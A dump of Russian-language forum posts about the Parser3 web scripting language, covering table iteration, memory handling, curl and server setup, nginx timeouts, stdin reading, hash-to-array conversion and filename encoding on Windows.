Не могу допереть, как этот счетчик задать, помогите пожалуйста!"
"86729","Когда я смотрел Несколько лет назад, то в политике было указано что они не каждый язык принимают. Если сейчас проще, то это сильно упростит вам задачк"
"86731","поэтому сейчас популярность языка определяют: \
\
* не менее 2000 файлов на расширение, проиндексированных за последний год\
* с разумным распределением по уникальным :user/:repo"
"86732","Спасибо большое!"
"86733","Ну кроме разве что .p, который вроде как \"захвачен\" Питоном. Хотя сложно сказать, к сожалению ли. :)\
\
[url=\"https://github.com/search?type=code&q=path%3A*.p+%22%40auto[]%22\"]https://github.com/search?type=code&q=path%3A*.p+%22%40auto[]%22[/url]\
\
И понятно HTML есть:\
\
[url=\"https://github.com/search?type=code&q=path%3A*.html+%22%40main[]%22\"]https://github.com/search?type=code&q=path%3A*.html+%22%40main[]%22[/url]\
\
Ну и да, подозреваю это меньше хочет Github. У меня в результатах много private репозитариев студии выдаются, но сомнительно, чтобы такие учитывались."
"86734","Да, это большая работа, не одного года.\
\
Да, потребует расчехлить чемоданы старого кода, что-то переписать и оформить.\
\
Но из плюсов получим больше примеров в раздел «Библиотека» и все будут ссылаться на GitHub, где, опять же, получим плюшки писать ишьи и пул реквесты."
"86735","Спасибо!"
"86737","Есть большое НО! Если структуру ответов должна быть разная, то при таком исполнении структура объектов будет браться из первого результата."
"86738","В MySQL все вроде как работает корректно, вот например тест:\
\
https://github.com/artlebedev/parser3/blob/master/tests/428-sql.html#L21\
https://github.com/artlebedev/parser3/blob/master/tests/results/428-sql.processed#L83\
\
Note: нужно использовать именно ^hash::sql или ^array::sql, но не ^table::sql."
"86739","Загружаю текстовый файл как текст, содержащий в том числе пустые строки\
\
[code]\
$f[^file::load[text;test.txt]]\
\
$t[^table::create{piece\
^untaint{$f.text}}]\
[/code]\
\
В результате таблица без пустых строк.\
\
Знаю что можно как [b]nameless[/b] таблицу загрузить, но интересно именно почему строки пропадают? Версия 3.5, 3.4"
"86740","Описано на странице про table::create"
"86742","Если нужно одноразово отменюшить большую таблицу то:\
\
[code]\
^t.menu{\
	^t.line[] | ^t.count[] — $t.string\
}{<br>}\
[/code]\
\
Time: 29.863 ms KB: 7984\
\
[code]\
^t.menu{\
	^t.line[] | ^t.count[] — $t.string\
	^t.delete[]\
}{<br>}\
[/code]\
\
Time: 24.611 ms KB: 3924\
\
В качестве теста брал таблицу на 10 тысяч строк"
"86743","который сразу будет удалять строку после менюшинга\
\
[code]\
$t[^table::create{col\
1\
2\
3}]\
\
^t.once{$t.col}\
\
^if($t){густо}{пусто}	# пусто\
[/code]"
"86744","перескакивает не на фактическую следующую строку, а через одну, поэтому и быстрее\
\
[code]\
^t.menu{\
	^t.line[] | ^t.count[] — $t.string\
	^t.insert{}\
}[<br>]\
[/code]\
\
вариант заменить на пустую падает в Timeout\
\
[code]\
^for[i](1;^t.count[]){\
	^t.line[] | ^t.count[] — $t.string\
	^t.delete[]\
}[<br>]\
[/code]\
\
вариант того же самого через цикл медленнее на 40%\
\
В любом случае, идея удалять значение таблицы сразу после того как оно стало не надо — повисло в воздухе"
"86745","Память, занятая объектом, освобождается после того, как исчезают ссылки на него (и во время сборки \"мусора\"). Например, такой код:\
\
[code]$s[^t.menu{\
	^t.line[] | ^t.count[] — $t.string\
}]\
[/code]\
\
Формирует сложную строку $s, которая включает в себя строки $t.string. Если после этого сделать так:\
\
[code]$t[]\
^memory:compact[]\
[/code]\
\
Соберется память, занимаемая объектом таблицы, рядами таблицы, но не $t.string. Если же потом сделать еще и так:\
\
[code]$s[]\
^memory:compact[]\
[/code]\
\
То соберется и память, которую занимают $t.string. Там есть оптимизации (типа короткие строки включаются по значению), но суть примерно такая."
"86746","остается вопрос, почему insert внутри menu падает даже в таком примере:\
\
[code]\
$t[^table::create{string\
line 1\
line 2\
line 3}]\
\
^t.menu{\
	$t.string\
	^t.insert{}\
}{<br>}[/code]"
"86747","Он не падает, а вполне себе работает. :) У меня вставляется ~20,000,000 строк до того, как кончается память. У таблиц исторически нет лимитов на размер (обычно они с диска или из БД создаются, а там бывает и по миллиону записей).\
\
Или вопрос почему цикл menu не заканчивается? Так insert \"вставляет строку в таблицу на ту позицию, на которую указывает текущий указатель.\" А текущая строка становится следующей, menu на нее переходит, и так далее..."
"86749","если мы менюшим таблицу и удаляем текущую строку, почему перескакивает через один?\
\
[code]\
$t[^table::create{string\
line 1\
line 2\
line 3}]\
\
^t.menu{\
	$t.string\
	^t.delete[]\
}{<br>}\
\
Результат\
line 1\
line 3\
[/code]"
"86750","Именно GPF? Apple M1? У меня выдает вот такую ошибку и выходит: \"Too many heap sections: Increase MAXHINCR or MAX_HEAP_SECTS\". Это если память не ограничивать, а так о нехватке памяти выдает ошибку."
"86751","MAC на старом Интеле + Apache\
\
Internal Server Error\
\
в логах\
\
[Wed Mar 26 21:52:11.826601 2025] [cgi:error] [pid 789] [client 127.0.0.1:64774] End of script output before headers: parser3.cgi"
"86752","но тоже просится прерывание этого безобразия на уровне  Parser"
"86753","Вывели 1 и удалили, в таблице осталось 2 (текущая строка) и 3. По завершению итерации цикла текущая строка увеличилась на 1 и стала указывать на строку, где 3."
"86754","[quote]У таблиц исторически нет лимитов на размер (обычно они с диска или из БД создаются, а там бывает и по миллиону записей).[/quote] Поэтому:\
- можно добавить по аналогии с массивом max_table и тоже например 1,000,000 по умолчанию. Но тогда логично падать и на большой выборке из базы.\
- можно использовать текущий max_array и падать только на вставке в таблицу (то есть из БД можно будет достать хоть 10,000,000 записей, лишь бы памяти хватило). А вот insert в такую таблицу сделать не получится, но это куда более редкий кейс (и без insert зацикливание сделать проблематично)."
"86756","insert — редкая вещь, по крайней мере не припомню его в своих проектах"
"86757","Раз сам предложил идею больше классов на GitHub, сам и начну.\
\
https://github.com/spearance/markdown-p3\
\
У меня была задача сделать базовый маркдаун для чатика, без заголовков, абзацев и прочей мишуры, чисто чтобы можно было однострочные сообщения выделять привычным образом.\
\
Потом подумал, взял пару идей из старого Типографа и склеил из них класс. Он не окончательный, это пре-бета... но, уже много чего умеет. По правде сказать кроме таблиц и вложенных списков практически всё.\
\
Писал за пару-тройку вечеров, поэтому код далеко не оптимизирован. Любые предложения принимаются в ишью или пул-реквестами.\
\
Если у кого-то есть полностью готовый класс или другие — делитесь в GitHub, попробуем насобирать необходимое количество .p файлов.\
\
P.S. забыл демо: https://spearance.github.io/markdown-p3/dist/"
"86758","Давайте прикрутим к форуму, BBCode ужасен, каждый раз вставляя ссылку или выделяя код, икаю.\
А уж инлайновый код вообще приходится эмулировать эмфазисом.\
\
Давно собирался сделать простой markdown-парсер и предложить для форума, а тут уже готово.\
\
P. S.: внизу страницы с примером есть неразобранная разметка:\
[quote]![Alt text][id]\
\
With a reference later in the document defining the URL location:\
\
[id]: https://octodex.github.com/images/dojocat.jpg \"The Dojocat\"[/quote]"
"86759","Кстати, провел легкое погружение в JS-парсеры и они, мягко говоря, все не очень.\
\
Классика багов `\\`code\\``, даже на GitHub не работает."
"86761","По базовому функционалу маркдауна всё.\
\
Еще планирую перед релизом добавить якори, футноты и тесты.\
\
Есть еще спорные вещи типа таск листа и дефинишн листа, но что-то мне не кажется это сильно востребованными штуками.\
\
Если есть вопросы, замечания, сюда или в ишью на гитхабе."
"86762","установил сегодня свежий дистрибутив 3.5.0 win (нужен был SSL 1.2) - получил \"отвал\" кода, работавшего кучу лет на парсере 3.4.3 в методе curl:load\
\
в новом 3.5.0 curl 7.56.1\
\
Вот что пишет новый парсер:\
\
[Thu Apr  3 12:24:19 2025] [12104] /***/?id=612: ***/r.p(360:28): 'load' failed to set option 'postfields': A libcurl function was given a bad argument [curl] ***\
\
Попытки уйти в использование параметров httppost/httpheaders вместо postfields вызвало еще больше проблем (вероятно позже вернусь к экспериментам с httppost/httpheaders).\
\
Итогом \"таблетка\" - скачал с curl-сайта dll-библиотеку 8.13.0 и заменил в каталоге парсера - проблема с postfields тут же исчезла."
"86763","1. Win 32 или Win 64?\
2. У нас есть тесты curl с postfields и вроде как они успешно проходятся\
https://github.com/artlebedev/parser3/blob/master/tests/346-curl.html\
3. Странностей в curl действительно хватает, https://github.com/artlebedev/parser3/commit/c760ce31520b93e401156464b6c8e448ad8d1173\
4. Перед выходом 3.5.0 пробовал обновить curl, результат был так себе (ниже). Какую конкретно версию получилось успешно использовать?\
\
[quote]Попробовал обновить curl в Windows версии, взял с сайта [url=\"https://curl.se/windows/curl-8.11.1_1-win64-mingw.zip\"]https://curl.se/windows/curl-8.11.1_1-win64-mingw.zip[/url], но увы, часть тестов совпадают, но часть отличается, один упал с GPF. Наш с https://skanthak.hier-im-netz.de/curl.html выглядит понадежнее (и меньше в 6 раз :), жаль что он больше не обновляется.[/quote]"
"86764","Коллеги, добрый вечер:) \
У меня в очередной раз пришла пора переходить на новый сервер, и снова это головная боль. Я не девопс и не сисадмин, я просто веду кое-какие научные проекты на Парсере и все эти инструкции \"установите апач, скачайте файл, установите права\" для меня как страшный темный лес. \
Я попробовал apt install parser3 но там установился только версии 3.4. Видимо, работа с репозиторием дебиан - это не так просто. \
Тогда я попросил нейросеть написать скрипт, который бы скачивал архив с офсайта, распаковывал его, ставил права и запускал. Скрипт установился Parser/3.5.0 (compiled on x86_64-unknown-linux-gnu)\
Далее я потратил пока что около трех часов, чтобы установить апач и БД - там тоже проблемы, оказывается mysql больше нет и можно ставить только какую-то mariadb, в общем тяжко и непонятно. \
\
Вопрос: а не сделать ли нам серию скриптов, которые бы сами ставили все что нужно, конфигурировали апач, БД, ну или какой-то другой вебсервер, например, nginx или node/bun, и все так настраивали, чтобы у нас без лишних телодвижений появлялся готовый p3 по https? И желательно без git. Или без него теперь никак?"
"86765","И да, если будем обсуждать, то сразу особое пожелание - как-то избегнуть всех этих метаний с группами пользователей, когда файлы, закачанные по sftp, никак нельзя выполнить, потмоу что у них другой \"владелец\", чем у вебсервера."
"86767","С хостингами геморроя еще больше - приходится вручную подбирать версию Парсера, часто не дают рядом либы класть, и надо долго теребить ТП, чтоб нужную либу на сервер положили. Со сменой сервера все летит к чертям и нужно снова долбиться."
"86768","на приличных VDS/VPS из того что установлено можно собрать образ и свободно переносить"
"86769","[quote]Я попробовал apt install parser3 но там установился только версии 3.4\
[/quote]\
\
Если речь о Debian, то там минимум 3.4.6, или этого мало? \
\
[quote]Вопрос: а не сделать ли нам серию скриптов, которые бы сами ставили все что нужно, конфигурировали апач, БД, ну или какой-то другой вебсервер, например, nginx или node/bun, и все так настраивали, чтобы у нас без лишних телодвижений появлялся готовый p3 по https? \
[/quote]\
\
Это получится инструкция по настройке сервера. Включая certbot, если нужен https. Таких инструкций в интернете в общем хватает, можно дать ссылку на наиболее подходящую.\
Установка же парсера это всего одна команда:\
\
apt-get install parser3-cgi parser3-mysql \
После этого есть готовый к использованию /cgi-bin/parser3\
\
[quote]И желательно без git. Или без него теперь никак?[/quote]\
\
Не понял, в каком месте вам потребовался git.\
\
[quote]как-то избегнуть всех этих метаний с группами пользователей, когда файлы, закачанные по sftp, никак нельзя выполнить, потмоу что у них другой \"владелец\", чем у вебсервера.[/quote]\
\
В парсере в пакетах Debian safe mode выключен. Но если захочется что-то записывать на диск, разбираться с правами все равно потребуется."
"86770","Если речь о Debian, то там минимум 3.4.6, или этого мало?\
- сейчас хочется Array для перекладок json\
\
Это получится инструкция по настройке сервера. Включая certbot, если нужен https. Таких инструкций в интернете в общем хватает, можно дать ссылку на наиболее подходящую.\
- это все равно будут пляски с бубном. Я вижу так, что работающая инструкция описана в каком-то скриптовом файле, чтобы ее не от начала до конца пальцами на клавиатуре дублировать, а что-то себе в скрипте поменять и выполнить\
\
Но если захочется что-то записывать на диск, разбираться с правами все равно потребуется.\
- как пример, эта задача имеет дефолтное решение, с которым не требуется разбираться, а можно просто заскриптовать"
"86771","Это провоцирует застревание в старых версиях. Сейчас все чаще сталкиваюсь с проблемами, что под старые версии ОС нет каких-то рабочих вариантов интеграций, хотя бы того же certbot-auto"
"86772","Вьі напоминаете директорат, которьіе не хотят платить специалистам, а хотят волшебную кнопку \"пусть работает\"\
\
apt-get install - и есть максимализированная штука которую Вьі хотите.\
\
для всего остального, появился волшебньій chatGPT :)"
"86773","[quote]Я вижу так, что работающая инструкция описана в каком-то скриптовом файле[/quote]\
\
Про такие и говорил. Вот например (хотя и не обновлялось пару лет):\
\
https://github.com/natancabral/shell-script-to-install-multiple-packages#lamp\
\
Заодно PHPMyAdmin будет...\
\
\
[quote]сейчас хочется Array для перекладок json[/quote]\
\
Array с большой буквы предлагался как раз для 3.4.X :)\
\
https://www.parser.ru/forum/?id=84910"
"86774","/tmp/parser_install/extracted/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/tmp/parser_install/extracted/auto.p', fuid(1007)!=euid(0) or fgid(1007)!=egid(0) [parser.runtime]"
"86775","Поскольку там /etc/parser3/auto.p принадлежит root. А в тех сборках парсера, что раздаются на parser.ru - включен."
"86776","все что вьіполняется менее 60 секунд - отдается идеально,\
НО возникла необходимость из парсера кинуть запрос через  ^curl:session{$curlResult[^curl:load[ в тугодумную железку, которая может ответить как через секунду так и через 3 минутьі.\
если железка отвечает за менее минутьі - все ок, как только дольше - сам скрипт - отрабатьівает (видно по логам) , но нжинкс не дожидается.\
\
в nginx вроде как попробовал вьіставить таймаутьі, но чтото не сильно помогло (вернее - не помогло соввсем)\
\
[code]    location ~ \\.p3h$ {\
        # Не сжимаем скрипты\
        gzip off;\
\
       # Передаем скрипты на обработку fcgiwrap\
        fastcgi_pass    unix:/var/run/fcgiwrap.socket;\
\
        fastcgi_param   SCRIPT_NAME     $request_uri;\
        fastcgi_param   SCRIPT_FILENAME /var/www/parser/current/parser3.cgi;\
        fastcgi_param   PATH_INFO       $fastcgi_script_name;\
        fastcgi_param   PATH_TRANSLATED $document_root$uri;\
\
        fastcgi_param   CGI_PARSER_LOG  /var/log/nginx/parser.log;\
\
        # Используем стандартные параметры\
        include /etc/nginx/fastcgi_params;\
\
        fastcgi_connect_timeout 360s;\
        fastcgi_send_timeout    360s;\
        fastcgi_read_timeout    360s;\
        send_timeout            360s;\
}[/code]\
\
в fastcgi_params - никаких таймаутов не прописано вообще, сами таймаутьі что перед ххх_param , что после - побоку ...\
\
в spawn-fcgi и fcgiwrap - вроде никаких тайматутов не обнаружено (во всяком случае в man)\
\
запускается через systemctl cat fcgiwrap\
[code]# /lib/systemd/system/fcgiwrap.service\
[Unit]\
Description=Spawn-FCGI для fcgiwrap\
After=nss-user-lookup.target\
##Requires=fcgiwrap.socket\
\
[Service]\
Type=forking\
#ExecStart=/usr/sbin/fcgiwrap\
ExecStart=/usr/bin/spawn-fcgi -P /var/run/fcgiwrap.pid -F 12 -s /var/run/fcgiwrap.socket -u www-data -U www-data -g www-data -G www-data -- /usr/sbin/fcgiwrap -f\
Restart=on-failure\
#User=www-data\
#Group=www-data\
\
[Install]\
##Also=fcgiwrap.socket\
WantedBy=multi-user.target[/code]\
\
как заставить nginx (или когото по пути) ждать более 60 секунд ?"
"86777","У меня он местами до 1800s стоит. А вот дальше надо смотреть не понаставлено ли каких-либо лишних таймаутов в других местах энжинкса.\
\
Кроме того, непонятна топология. Может ещё где-то снаружи стоит энжинкс в качестве балансировщика. Если всё только на вашей машине, то смотите полностью все конфиги Энжинкса и потихоньку отлаживайте — бывает, что локейшны хитро исполняются и переопределят параметры вложенных или последовательных."
"86778","гдето втулили прокладку, и там стояло на proxy_ХХ_timeout 60с\
исправили на 600 - и все поехало ...."
"86780","а вот как бьіб чтобьі он НЕ проставлялся ?\
\
[code]    $.I[\
      INSERT IGNORE INTO sm_Label (sm_ID, Label_ID, _editor)\
      VALUES\
      ^aData.foreach[k;v]{\
        ^continue($k eq smID)\
        (^aData.smID.int(0), ^v.int(0), _utf8'$aUser.ID')\
      }[,]\
    ]\
[/code]\
\
[code]aData: {\
  \"0\": \"3\",\
  \"1\": \"1\",\
  \"2\": \"6\",\
  \"3\": \"5\",\
  \"smID\": 1552\
}\
[/code]\
\
результат:\
\
[quote]      INSERT IGNORE INTO sm_Label (sm_ID, Label_ID, _editor)\
      VALUES\
        (1552, 6, _utf8'14')\
      ,\
        (1552, 5, _utf8'14')\
      ,\
        (1552, 2, _utf8'14')\
      ,\
        (1552, 4, _utf8'14')\
      , <---\
        \
[/quote]"
"86781","Либо записать тело цикла в одну строчку без пробелов — парсер не проставляет разделитель если тело итерации пустое"
"86783","както можно прасеру в stdin напихать?\
\
например через aliases:\
\
[code]e2parser: \"|/srv/parser/current/parser3.cgi /srv/projA/handler.p3 || exit 0\"\
[/code]\
\
если да, то где ловить?\
\
смотрел $request,$env,$form - но там ничего подходящего не увидел\
на форуме тоже вроде не увидел, ну или мимо просмотрел\
\
parser3.4.6"
"86784","Если надо хеш (с не числовыми ключами) превратить в массив и присвоить в массив-переменную такая конструкция вроде как рабоатет $a[^array::join[$h]]\
Но join формально это не конструктор класса.\
Есть конструктор copy, но там нужны числовые ключи, а в хеше не всегда ключи числовые.\
Может доработать конструктор create, чтобы он параметром мог и хеш принимать и работал так же как сейчас join?\
Или в синтаксисе array::join ничего криминально?"
"86785","[quote]Может доработать конструктор create, чтобы он параметром мог и хеш принимать и работал так же как сейчас join?[/quote]\
\
Так нельзя. Как в вашей логике создать массив, в котором первым и единственным элементом будет хеш? Поэтому ^array::create[имя или переменная] должен всегда создавать массив из одного элемента (как оно сейчас и есть).\
\
[quote]Или в синтаксисе array::join ничего криминально?[/quote]\
\
Ничего криминального, технически любой метод можно использовать как конструктор, просто обычно в этом нет практического смысла. Тут он есть, поэтому мы документируем такое использование."
"86787","Вернет плотный массив только со значениями.\
\
Или даже hash.array[keys|values] чтобы можно было получить и ключи и значения как массив."
"86789","handler.sh\
[code]#!/bin/sh\
/srv/parser/current/parser3.cgi handler.p[/code]\
\
handler.p\
[code]@main[][locals]\
\
$stdintable[^table::create{line}]\
\
^while(true){\
  ^if(def $console:line){\
    ^stdintable.append{$console:line}\
  }{\
    ^break[]\
  }\
}\
\
^stdintable.foreach[pos;row]{\
  $pos = $row.line\
}[^#0A]\
\
[/code]\
\
test.txt:\
[quote]first line\
sdfv\
sadvf\
sadfv\
sdfv\
dsfv(6)\
\
\
\
sdv(10)\
sadvf\
sadfvs\
fdv\
f\
sdvf(15)\
totla: 6+3+6+1 = 16 lines\
[/quote]\
\
$ cat test.txt | ./handler.sh\
$ ./handler.sh <test.txt\
\
результат одинакв:\
[code]\
\
\
  0 = sdfv\
\
\
\
  1 = sadfv\
\
\
\
  2 = dsfv(6)\
\
\
\
  3 =\
\
\
\
  4 = sdv(10)\
\
\
\
  5 = sadfvs\
\
\
\
  6 = f\
\
\
\
  7 = totla: 6+3+6+1 = 16 lines\
\
[/code]\
\
А ГДЕ ОСТАЛЬНОЕ ??"
"86792","[code] ^if(def $console:line){[/code]\
тоже считьівает :)\
\
правильное:\
[code]^while(true){\
  $line[$console:line]\
  ^if(def $line){\
    ^stdin.append{$line}\
  }{\
    ^break[]\
  }\
}\
[/code]"
"86793","Еще можно сделать чтобы ^h.array[] было эквивалентно ^array::copy[$h]."
"86795","[quote]Еще можно сделать чтобы ^h.array[] было эквивалентно ^array::copy[$h][/quote]\
\
Хеш имеет свою собственную сортировку.\
Преобразование хеша с числовыми ключами к массиву будет всегда убивать сортировку, что нежелательно.\
\
Только [b]join[/b] сохраняет сортировку.\
\
Почему по умолчанию при преобразовании хеша к массиву надо убивать сортировку?)"
"86797","… возвращающий массив всех ключей и значений, где каждое значение массив из двух элементов.\
\
[code]\
[$.k1[v1] $.k2[v2]] => [[k1;v1];[k2;v2]]\
[/code]\
\
А hash::create научить создавать хеш из массива пар. И будет полный аналог конвертации как в Питоне. :)"
"86798","Спасибо.\
Либо дока неполная, либо не туда смотрел.)"
"86800","Поскольку хеш уже можно сделать из массива через create:\
\
[code]$a[v0;v1;v2]\
$h[^hash::create[$a]]\
[/code]\
\
И эквивалентно это питоновскому\
\
[code]a = ['v0', 'v1', 'v2']\
h = dict(enumerate(a))\
[/code]\
\
Еще у нас есть ^x.at[..;hash]. Вот тут возможно имеет смысл расширить и добавить ^x.at[..;array] Но не знаю, насколько это практически востребовано."
"86801","В Парсере это выглядит неестественно. В Питончике списки базовая структура. А у нас базовая хеш. Поэтому достаточно иметь возможность получить массив ключей или значений в виде массива."
"86802","[quote]А у нас базовая хеш[/quote]\
\
Если в парсере базовой является структура без сортировки, то почему по умолчанию преобразование к массиву должно сортировать данные?\
Да и массив в парсере особый.\
\
Может, логичнее будет любые преобразования из хеша в массив по умолчанию делать без затрагивания сортировки с возможностью использовать ее с помощью параметров?\
\
Допустим, что есть хеш:\
[code]{\
	$.100[qqq]\
	$.10[www]\
	$.50[eee]\
}[/code]\
\
Если его таким сделали, то с чего вдруг при преобразовании в массив данные должны отсортироваться по умолчанию и выдать другой порядок?\
Ведь важны не ключи, а значения."
"86803","Из новости про 3.4.0:\
\
[quote] Hash теперь помнит порядок добавления в него элементов, при этом ^хеш.foreach[...]{...} перебирает элементы в этом порядке, а ^хеш._keys[...] возвращает таблицу с ключами, расположенными в том-же порядке[/quote]\
\
Что такое хеш без сортировки неизвестно. Хеш с сортировкой ключей наверное где-то встречается, но мне про такое неизвестно.\
\
Массив действительно достаточно зитрый, разреженный. Поэтому и преобразование сделали по числовым ключам. Менять это поведение уже не получится. А вот сделать метод ^hash.array[keys|values|] вполне можно. И вы получите еще один вариант преобразования.\
\
Если очень критично то метод на парсере пишется в три строчки."
"86804","Об этом и речь, что основная структура парсера помнит порядок, а преобразование к массиву по умолчанию почему-то убивает этот порядок вместо сохранения."
"86806","И тогда можно было бы обсудить дополнительные фичи до релиза. Теперь можем только обсудить как расширить следующую версию"
"86808","Такие хеши использовались ранее для имитации массивов. Не только разработчиками, но и в самом парсере (в json:parse например). И реализованные разряженные массивы максимально совместимы с такими хешами. Ваш же пример:\
\
[code]$h[\
	$.100[qqq]\
	$.10[www]\
	$.50[eee]\
]\
$a[^array::copy[$h]]\
$h.10\
$a.10[/code]\
\
В обоих случаях будет www. И чтобы в коде можно было прозрачно заменить использование хешей с числовыми индексами на array (как мы сделали в json:parse) -сохранение ключей куда важнее (порядок конкретно в таких хешах обычно и так по возрастанию индексов).\
\
Если важны только значения, причем в порядке исходного хеша - без проблем, такая возможность тоже есть - это и обсуждаемый в топике ^array::join[$h], а теперь еще и ^h.array[values]. Но по умолчанию поведение рассчитано на максимальную совместимость с хешом. И это работает, почти единственной проблемой при обновлении в нашем коде оказались случаи явной проверки типа (например $push.commits is hash пришлось заменить на $push.commits is array)."
"86809","Подскажите пожалуйста возможно ли настроить что бы:\
1. классы и методы (т.е. строки начинающиеся с @) подсвечивались красным?\
2. что бы все что закомментировано (т.е. начинается с #) никак не подсвечивалось, в том числе и скобки не подсвечивались?\
сейчас пользуюсь PsPADом но он периодически глючит, подумал перейти VSCode, но подсветка синтаксиса работает не очень удобно. \
Спасибо за ответ."
"86810","… на базе кода расширения — https://github.com/unhandled-exception/code-p3 \
Лицензия MIT.\
\
У меня нет сейчас ресурсов что-то править в расширении."
"86814","Не получается удалить файл в русскими буквами в названии на винде.\
Пока не конвертнешь сам скрипт к windows1251. Но конвертить скрипт не хочется ради этого. Нужно по факту ковертить только сточку с названием файла и при этом желательно чтобы это работало и на линуксе\
ошибка\
unlink failed: No such file or directory (2), actual filename 'ЮЮЮ.txt'"
"86815","^file:find[ЮЮЮ.txt]\
\
а удаление даже так не хочет\
^file:delete[^file:find[ЮЮЮ.txt]]"
"86816","https://www.parser.ru/forum/?id=85447"
"86818","https://www.parser.ru/download/nightly/ - в конце версии под Windows. Для работы с UTF-8 именами под Windows надо использовать wchar варианты функций, для удаления файлов так сделано не было, сделал.\
\
Ну или если не хочется обновляться, можно \"руками\" конвертировать имя в Windows-1251, например так:\
\
[code]$n[^file::create[text;имя;ююю.txt; $.to-charset[Windows-1251] ]]\
^file:delete[$n.text][/code]"
"86820","с Copy тоже всё норм"
"86821","[quote]Там может быть файл бинарный[/quote]\
\
Так ^file::create предлагалось использовать для перекодировки имени файла, а не содержимого.\
\
[quote]Кстати в file:move та же проблема[/quote]\
\
Исправлено в ночных сборках. Еще была некорректная работа с UTF-8 при создании и удалении директорий, тоже поправлено."
"86822","Тема уже поднималась выше, читал, но она не дает исчерпывающих ответов (мне не помогает)\
\
Суть вопроса следующая - необходимо сравнить даты в таблице (условно дедлайн) с датой сегодня. Если срок дедлайна прошел, ячейку таблицы нужно залить красным\
\
Реализовано вот так:\
^if($win.data [b]gt[/b] ^now.sql-string[date]){<td bgcolor=\"red\">$win.formatted_deadline</td>}{<td>$win.formatted_deadline</td>}\
\
Вопрос в следующем: Если я применяю операторы \"<\", \">\", \"==\" и так далее, появляется ошибка: 2025-07-04 invalid number (double)\
\
Все хорошо работает, если применять операторы \"eq\", \"ne\", \"lt\", \"le\", \"ge\". Но, проблем в том, что при сравнении оператором \"lt\" (или \"le\") он все даты в таблице делает красными - и те, которые с прошедшим сроком, и те, срок которых еще не вышел. Если использовать \"gt\" - ситуация обратная - не выделяет ни одной ячейки.\
\
Что неправильно делаю, куда смотреть?"
"86823","К этому фрагменту кода:\
\
[code]\
^if($win.data > ^now.sql-string[date]){<td bgcolor=\"red\">$win.formatted_deadline</td>}{<td>$win.formatted_deadline</td>}[/code]\
\
У вас сравнение строки и строки, для этого есть eq и ne, для знака больше нужно чтобы оба были датами или числами, но нужно учитывать что время в датах тоже может отличаться"
"86824","Так вот как мне их именно как числа сравнить?\
Даты у меня в формате 2020-07-04. Их как-то надо преобразовать в числа?"
"86825","должно быть как-то так, если $win.data содержит дату без времени:\
\
[code]\
$today[^date::today[]]\
\
<td^if(^date::create[$win.data] > $today){ bgcolor=\"red\"}>$win.formatted_deadline</td>[/code]"
"86826","сравнить числами:\
\
[code]\
$dt[^date::create[$win.data]]\
\
<td^if(^dt.int[] > ^now.int[]){ bgcolor=\"red\"}>$win.formatted_deadline</td>\
[/code]"
"86827","В случае первой записи работают операторы \"eq\", \"ne\", \"lt\", \"le\", \"ge\".\
Допустил ошибку именно в условии, сравнивал разные даты, поэтому результат получился кривой."
"86828","Выдает минус\
\
[code]ls /usr/bin/convert -la\
lrwxrwxrwx    1 root     root             6 Apr 15 20:20 /usr/bin/convert -> magick\
[/code]\
\
файл есть - вернее симлинк (ОС Alpine)"
"86829","^if(-f \"/usr/bin/magick\"){+}{-}\
\
хотя файл есть и запускается"
"86831","Если не ошибаюсь, то всегда так было.\
\
Данные проблемы всегда решались симлинком."
"86832","Добрый день.\
Версия парсера - 3.5.0.\
\
В классе с помощью метода заполняется свойство, но при этом нужна возможность это свойство переопределять:\
test.p:\
[code]@CLASS\
test\
\
@OPTIONS\
locals\
\
@create[]\
	\
\
@GET_param[]\
	$result[method]\
\
@SET_param[s]\
	$self.param[$s]\
\
#@SET_DEFAULT[k;v]\
#	^if($k eq \"param\"){\
#		$self.param[$v]\
#	}\
#	$result[][/code]\
\
index.html:\
[code]@USE\
test.p\
\
@main[]\
	$t[^test::create[]]\
	1. !$t.param!\
	$t.param[www]\
	2. !$t.param![/code]\
\
В таком варианте получаю: [b]0xC0000027 at[/b] ...\
\
Если закомментировать @SET и раскомментировать @SET_DEFAULT, то все работает, как и положено: 1. !method! 2. !www!\
\
Можно ли заставить @SET работать аналогично @SET_DEFAULT ?"
"86833","Для парсера пути с косой чертой в начале означают не корень файловой системы, а корень веб-пространства."
"86834","[quote]В таком варианте получаю: 0xC0000027 at ...[/quote]\
\
Посмотрю, почему может стека не хватать. По-идее должна быть такая же ошибка, как на Linux:\
\
 'param' call canceled - endless recursion detected\
\
\
[quote]Можно ли заставить @SET работать аналогично @SET_DEFAULT ?[/quote]\
\
В данном случае нет, в [url=\"/docs/lang/?props.htm\"]документации[/url] четко написано:\
\
\"Важно: нельзя иметь и свойство, и переменную с одним именем. \""
"86836","https://dev.mysql.com/doc/refman/8.4/en/information-functions.html#function_row-count\
\
Также как last_insert_id и т.п."
"86838","[code]      UPDATE Task\
      SET \
        final       = _utf8mb4'^now.sql-string[]'\
      , result  = _utf8mb4'^untaint[sql]{^json:string[$hashData;$.one-line(false)$.indent(true)]}'\
      WHERE \
        task = _utf8mb4'^taskID.sql-string[]'\
[/code]\
\
постоянно вьілетает по\
\
[quote]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2 X  (1. Grade 2-10 mm sf 49’    2.GRADES 0-10mm sf 43’ )  AS PER ATTACHED C' at line 4\
[/quote]\
\
внутри hashData есть $.description\
[quote]\"description\":\"  PUMICE BUT MAX 13,500 SF ABOUT 43'  2 X  (1. Grade 2-10 mm sf 49’    2.GRADES 0-10mm sf 43’ )  AS PER ATTACHED CARGO PLAN\",[/quote]"
"86841","ругается на while\
входящий поток: 61К строк на 4Мб\
\
[code]  $stdin[]\
\
  ^while(true){\
    $line[$console:line]\
    ^if(def $line){\
#      ^stdin.append{$line}\
      $stdin[${stdin}$line]\
    }{\
      ^break[]\
    }\
  }\
[/code]"
"86842","[code]@auto[]\
$LIMITS.max_loop(0)\
[/code]\
 игнорирует: ошибка endless loop detected\
\
\
[code]@conf[]\
$LIMITS.max_loop(0)\
\
@auto[]\
...\
[/code]\
 ошибка - already configured\
\
\
включать в ГЛОБАЛЬНОМ конфиге - както не сильно хочется"
"86843","… например 120 тысяч.\
\
Мне приходится иметь дело с файлами в милоионы строк и я это сразу делаю на Питоне или Го. На языках, которые умеют работать с потоками ввода-вывода. Парсер все-таки более специализированный язык. :)"
"86845","та там проблема в \"работает - не трожьжьжь\" бо устаревшая виртуалке на которой ничего кроме парсера и мускля не установлено и теперь уже и не установится"
"86846","Тема себя исчерпала. Закрываю ветку :)"
